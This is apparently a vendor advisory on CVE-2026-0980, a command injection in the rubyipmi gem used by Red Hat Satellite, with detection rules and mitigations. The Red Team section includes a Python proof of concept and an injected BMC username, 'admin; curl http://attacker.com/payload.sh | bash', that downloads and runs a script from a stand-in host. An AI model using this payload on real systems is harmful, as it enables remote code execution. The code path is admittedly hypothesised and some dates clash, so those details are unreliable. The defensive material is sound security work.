CVE-2026-0980
Executive Summary
CVE-2026-0980 is a critical vulnerability in the rubyipmi gem, a component used within Red Hat Satellite for Baseboard Management Controller (BMC) interface management. An authenticated attacker with host creation or update permissions can craft a malicious username for the BMC interface, leading to remote code execution (RCE) on the underlying system. The vulnerability stems from improper neutralization of special elements used in a command (CWE-77), allowing injection into system commands executed by the gem. No public exploit or patch is currently available, making this a high-priority zero-day for Red Hat Satellite environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in the Ruby gem rubyipmi, which is part of the Red Hat Satellite supply chain. The gem is used to interact with BMC interfaces (e.g., IPMI, Redfish). Since no patch or advisory has been released, organizations using Red Hat Satellite with BMC integration are at risk. The attack vector requires authentication, but the impact is severe (RCE). Supply chain security teams should monitor for updates from Red Hat and consider temporary mitigations.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector provided)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): Low (authenticated user with host creation/update permissions)
- User Interaction (UI): None
- Scope (S): Unchanged
- Confidentiality (C): High
- Integrity (I): High
- Availability (A): High
- Threat Level: Critical (RCE with low privileges)
Deep Dive & Mechanics
The rubyipmi gem is used by Red Hat Satellite to manage BMC interfaces (e.g., IPMI, Redfish) for hosts. When a user creates or updates a host, the Satellite backend passes BMC credentials (including username) to the gem. The gem likely constructs shell commands to interact with the BMC (e.g., ipmitool or redfish). If the username is not properly sanitized, an attacker can inject arbitrary shell commands.
Vulnerable Code Path:
- User submits a host creation/update request with a malicious BMC username (e.g.,
admin; curl http://attacker.com/payload.sh | bash). - Satellite passes this username to
rubyipmi. - The gem constructs a command like:
ipmitool -H <host> -U <username> -P <password> ... - The injected command is executed, leading to RCE.
Root Cause: Lack of input sanitization in the username parameter before inclusion in a shell command.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the fix:
Vulnerable (Ruby pseudocode):
def execute_bmc_command(host, username, password)
command = "ipmitool -H #{host} -U #{username} -P #{password} ..."
system(command)
end
Patched (Hypothetical):
def execute_bmc_command(host, username, password)
# Sanitize inputs
safe_username = Shellwords.escape(username)
safe_password = Shellwords.escape(password)
command = "ipmitool -H #{host} -U #{safe_username} -P #{safe_password} ..."
system(command)
end
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Red Hat Satellite instance with host creation/update permissions.
- A target host with BMC configured.
Exploitation Steps:
- Authenticate to Satellite API or UI.
- Create or update a host, setting the BMC username to:
admin; curl http://attacker.com/payload.sh | bash - Submit the request. The injected command will execute on the Satellite server.
Proof-of-Concept (Python):
import requests
satellite_url = "https://satellite.example.com"
username = "attacker"
password = "password"
host_id = 123
# Malicious BMC username
malicious_username = "admin; curl http://attacker.com/payload.sh | bash"
# API call to update host BMC
headers = {"Content-Type": "application/json"}
data = {
"host": {
"bmc_username": malicious_username
}
}
response = requests.put(
f"{satellite_url}/api/hosts/{host_id}",
auth=(username, password),
json=data,
verify=False
)
print(response.status_code)
Blue Team
Detection:
- Monitor for unusual BMC username patterns (e.g., containing shell metacharacters like
;,|,$,`). - Audit Satellite logs for host creation/update events with suspicious BMC usernames.
- Use the detection rules below.
Mitigation:
- Restrict host creation/update permissions to trusted users only.
- Implement input validation on BMC username fields (e.g., allow only alphanumeric characters).
- Monitor for outbound connections from Satellite to unknown IPs (potential C2).
Indicators of Compromise (IOCs)
- Network: Outbound HTTP/HTTPS connections from Satellite to attacker-controlled IPs.
- Process: Execution of
ipmitoolorredfishwith unusual arguments. - File: Presence of unexpected scripts in
/tmp/or/var/tmp/. - Log: Satellite logs showing BMC usernames containing shell metacharacters.
Example IOC (Syslog):
Satellite API: Host update by user 'attacker' with BMC username 'admin; curl http://evil.com/payload.sh | bash'
Detection Engineering
YARA Rule
rule CVE_2026_0980_Rubyipmi_RCE {
meta:
description = "Detects malicious BMC usernames in Satellite logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-0980"
strings:
$injection = /bmc_username.*[;&|`$]/
condition:
$injection
}
Sigma Rule
title: CVE-2026-0980 - Rubyipmi RCE via Malicious BMC Username
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-0980 by injecting shell commands into BMC username fields.
author: Valters IT
date: 2025-04-10
logsource:
product: redhat
service: satellite
detection:
selection:
EventID: 1000 # Example Satellite event ID
Data|contains:
- 'bmc_username'
- ';'
- '|'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of special characters in usernames (unlikely)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-0980 - Rubyipmi RCE - Outbound C2"; flow:to_server,established; content:"POST"; http_method; content:"/api/hosts/"; http_uri; content:"bmc_username"; nocase; pcre:"/(;|\||`|\$\().*curl|wget|bash|sh/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Permissions: Limit host creation/update permissions to only trusted administrators.
- Input Validation: Implement a whitelist for BMC usernames (e.g., alphanumeric only) at the application layer.
- Monitor Logs: Actively monitor Satellite logs for suspicious BMC username patterns.
Long-Term Fix:
- Await an official patch from Red Hat for the
rubyipmigem. - Consider replacing
rubyipmiwith a more secure alternative or implementing a wrapper that sanitizes inputs.
Workaround:
- Disable BMC management via Satellite if not critical.
- Use network segmentation to limit Satellite's access to BMC interfaces.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert